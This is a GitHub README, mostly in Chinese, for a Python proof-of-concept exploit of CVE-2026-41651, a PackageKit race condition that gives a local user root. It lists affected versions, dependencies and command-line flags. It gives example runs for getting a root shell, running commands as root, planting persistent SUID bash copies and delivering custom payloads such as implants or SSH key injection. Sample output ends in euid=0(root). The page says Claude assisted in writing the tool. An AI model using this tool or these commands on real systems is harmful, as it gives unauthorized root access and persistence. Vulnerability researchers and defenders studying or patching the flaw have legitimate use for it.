mawussid/CVE-2026-41651-Python

GitHub: mawussid/CVE-2026-41651-Python

针对 CVE-2026-41651(PackageKit TOCTOU 竞态条件)的 Python 本地提权 PoC,使无特权用户无需认证即可获得 root 权限。

Stars: 1 | Forks: 0

# Pack2TheRoot: CVE-2026-41651 (Python) PackageKit TOCTOU 本地权限提升漏洞利用的 Python PoC。 任何本地无特权用户都可以无需身份验证即以 root 身份安装任意软件包。 | 字段 | 值 | |-------|-------| | **CVE** | CVE-2026-41651 | | **组件** | PackageKit 守护进程 (`packagekitd`) | | **受影响版本** | 1.0.2 – 1.3.4 | | **修复版本** | 1.3.5 | | **影响** | 本地权限提升 → root | ## 免责声明 本工具提供**仅用于教育和授权安全研究目的**。 ## 要求 **存在漏洞的操作系统:** 任何运行 PackageKit >= 1.0.2 <= 1.3.4 的 Linux 发行版。 **Python:** 3.6+ **系统软件包 (Debian/Ubuntu):** ``` sudo apt install python3-dbus python3-gi gir1.2-glib-2.0 ``` **验证 PackageKit 版本:** ``` pkcon get-version # or: python3 cve-2026-41651.py --check ``` ## 用法 ``` usage: cve-2026-41651.py [-h] [--check] [--exec CMD] [--payload-script FILE] [--suid-path PATH] [--no-cleanup] [--timeout N] [--quiet] ``` | 标志 | 描述 | |------|-------------| | `--check` | 查询 PackageKit 版本并报告漏洞,然后退出 | | `--exec CMD` | 以 root 身份运行单个命令,而不是打开交互式 shell | | `--payload-script FILE` | 使用自定义的 postinst 脚本,而不是内置的 SUID bash 投放器 | | `--suid-path PATH` | 放置 SUID bash 的路径(默认:`/tmp/.suid_bash`) | | `--no-cleanup` | shell 退出后保留 SUID bash | | `--timeout N` | 轮询 SUID bash 的超时秒数(默认:120) | | `--quiet` | 抑制进度输出(用于脚本编程) | **示例:** ``` # 检查目标是否存在漏洞 (不利用) python3 cve-2026-41651.py --check # 完整利用 → 交互式 root shell python3 cve-2026-41651.py # 以 root 身份运行单个命令 python3 cve-2026-41651.py --exec "id" # 自定义 payload (植入物、SSH key 注入…) python3 cve-2026-41651.py --payload-script /tmp/hook.sh # 退出后保留 SUID bash,自定义路径 python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup # 可脚本化 / 快速模式 python3 cve-2026-41651.py --timeout 60 --quiet ``` **预期输出:** ``` ═══════════════════════════════════════════════════ CVE-2026-41651 / PackageKit TOCTOU LPE ═══════════════════════════════════════════════════ [*] Building packages (pure Python)... [+] dummy : /tmp/.pk-dummy-1337.deb [+] payload : /tmp/.pk-payload-1337.deb [*] Transaction : /1_acdcacbe [*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async] [*] Step 2 : InstallFiles(NONE=0x0, payload) [async] [*] Waiting for dispatch (30 s max)... [!] PK error 48: Failed to obtain authentication. [*] Finished (exit=2, 10 ms) [*] Polling for payload (120 s max)... [+] SUCCESS: SUID bash at t+200ms uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim) ``` ## 致谢 基于 [Vozec](https://github.com/Vozec/CVE-2026-41651) 提供的原始 C 语言 PoC。 这是一个为了提高可移植性而重写的 Python 版本。漏洞利用技术的所有功劳均归功于原作者。 Python 版本在 [Claude](https://claude.ai) (Anthropic) 的辅助下开发。
标签:CSV导出, CVE-2026-41651, Dbus, Linux 安全, PackageKit, packagekitd, Python 3, Python3.6, Python PoC, SUID, TOCTOU, Web报告查看器, 任意包安装, 协议分析, 本地提权, 权限提升, 漏洞复现, 竞争条件, 系统提权, 网络安全, 隐私保护